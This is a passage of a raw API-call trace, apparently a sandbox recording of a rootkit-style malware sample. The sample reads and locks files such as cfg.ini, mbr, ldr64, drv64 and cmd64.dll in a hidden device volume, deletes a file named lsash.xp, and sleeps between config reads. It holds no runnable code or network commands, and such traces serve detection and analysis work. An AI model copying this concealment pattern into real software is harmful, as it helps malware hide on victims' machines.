KeEnterCriticalRegion () [0126.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.558] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.558] IdePortDispatch () returned 0x103 [0126.558] KeWaitForMutexObject () returned 0x0 [0126.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.558] KeLeaveCriticalRegion () [0126.558] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.558] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.558] KeEnterCriticalRegion () [0126.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ef000 [0126.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.558] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.558] IdePortDispatch () returned 0x103 [0126.558] KeWaitForMutexObject () returned 0x0 [0126.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.558] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.558] IdePortDispatch () returned 0x103 [0126.559] KeWaitForMutexObject () returned 0x0 [0126.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.559] KeLeaveCriticalRegion () [0126.559] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.559] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.559] KeEnterCriticalRegion () [0126.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.559] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.559] KeLeaveCriticalRegion () [0126.559] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.559] KeEnterCriticalRegion () [0126.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.559] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.559] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ede10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.559] KeLeaveCriticalRegion () [0126.559] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.559] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.559] KeEnterCriticalRegion () [0126.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.559] ExFreePoolWithTag (P=0xfffffa8003bee300, Tag=0x0) [0126.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.560] KeLeaveCriticalRegion () [0126.560] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.560] ReleaseMutex (hMutex=0xf0) returned 1 [0126.560] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.560] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.560] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.560] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.560] KeEnterCriticalRegion () [0126.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.560] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.560] IdePortDispatch () returned 0x103 [0126.560] KeWaitForMutexObject () returned 0x0 [0126.560] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.560] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.560] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.560] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.560] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.560] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.560] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.560] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.560] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.560] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.560] KeLeaveCriticalRegion () [0126.560] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.560] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.560] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.561] KeEnterCriticalRegion () [0126.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.561] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.561] IdePortDispatch () returned 0x103 [0126.561] KeWaitForMutexObject () returned 0x0 [0126.561] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.561] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.561] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.561] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.561] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.561] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.561] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.561] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.561] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.561] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.561] KeLeaveCriticalRegion () [0126.561] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.561] ReleaseMutex (hMutex=0x100) returned 1 [0126.561] Sleep (dwMilliseconds=0x2bf20) [0126.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ea6cdf0, dwHighDateTime=0x1d24fa4)) [0126.587] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.587] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.587] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.588] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.588] KeEnterCriticalRegion () [0126.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.588] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.588] IdePortDispatch () returned 0x103 [0126.588] KeWaitForMutexObject () returned 0x0 [0126.588] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.588] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.588] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.588] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.588] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.588] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee300 [0126.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.588] KeLeaveCriticalRegion () [0126.588] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.588] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.588] KeEnterCriticalRegion () [0126.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.588] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.588] KeLeaveCriticalRegion () [0126.588] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.588] KeEnterCriticalRegion () [0126.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.588] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.588] IdePortDispatch () returned 0x103 [0126.588] KeWaitForMutexObject () returned 0x0 [0126.589] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.589] KeLeaveCriticalRegion () [0126.589] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.589] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.589] KeEnterCriticalRegion () [0126.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.589] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f4000 [0126.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.589] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.589] IdePortDispatch () returned 0x103 [0126.589] KeWaitForMutexObject () returned 0x0 [0126.589] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.589] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.589] IdePortDispatch () returned 0x103 [0126.589] KeWaitForMutexObject () returned 0x0 [0126.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.589] KeLeaveCriticalRegion () [0126.590] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.590] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.590] KeEnterCriticalRegion () [0126.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.590] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.590] KeLeaveCriticalRegion () [0126.590] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.590] KeEnterCriticalRegion () [0126.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.590] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.590] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac63a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.590] KeLeaveCriticalRegion () [0126.590] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.590] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.590] KeEnterCriticalRegion () [0126.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.590] ExFreePoolWithTag (P=0xfffffa8003bee300, Tag=0x0) [0126.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.590] KeLeaveCriticalRegion () [0126.590] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.590] ReleaseMutex (hMutex=0xf0) returned 1 [0126.590] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.590] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.591] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.591] KeEnterCriticalRegion () [0126.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.591] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.591] IdePortDispatch () returned 0x103 [0126.591] KeWaitForMutexObject () returned 0x0 [0126.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.591] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.591] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.591] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.591] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.591] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8120 [0126.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.591] KeLeaveCriticalRegion () [0126.591] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.591] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.591] KeEnterCriticalRegion () [0126.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.591] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.591] KeLeaveCriticalRegion () [0126.591] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.591] KeEnterCriticalRegion () [0126.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.591] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.591] IdePortDispatch () returned 0x103 [0126.591] KeWaitForMutexObject () returned 0x0 [0126.592] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.592] KeLeaveCriticalRegion () [0126.592] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.592] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.592] KeEnterCriticalRegion () [0126.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.592] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f5000 [0126.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.592] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.592] IdePortDispatch () returned 0x103 [0126.592] KeWaitForMutexObject () returned 0x0 [0126.592] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.592] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.592] IdePortDispatch () returned 0x103 [0126.592] KeWaitForMutexObject () returned 0x0 [0126.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.592] KeLeaveCriticalRegion () [0126.592] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.593] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.593] KeEnterCriticalRegion () [0126.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.593] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.593] KeLeaveCriticalRegion () [0126.593] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.593] KeEnterCriticalRegion () [0126.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.593] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.593] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adc420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.593] KeLeaveCriticalRegion () [0126.593] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.593] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.593] KeEnterCriticalRegion () [0126.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.593] 